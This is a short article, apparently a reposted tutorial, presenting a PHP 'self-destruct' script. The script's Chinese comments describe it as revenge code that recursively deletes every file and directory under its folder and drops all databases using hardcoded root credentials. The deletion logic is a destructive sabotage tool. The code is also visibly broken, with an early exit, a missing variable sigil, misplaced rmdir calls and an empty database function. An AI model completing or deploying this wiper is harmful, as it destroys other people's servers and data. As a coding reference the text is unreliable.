PHP self-destruct program (use with caution), use php self-destruct program with caution

This article describes the PHP self-destruct program with examples. Share it with everyone for your reference. The specific implementation method is as follows:

<&#63;php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息，则尝试删除所有数据库和表数据（前提是权限要够！）
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的，所以无需指定数据库，全删！
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时，不碰数据库
run();
/**
 * 主体思想必须光辉伟大！
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵，删除当前目录所有文件（递归）
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败！<br>\n";
    }
   }
/**
 * 呵呵呵，删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}
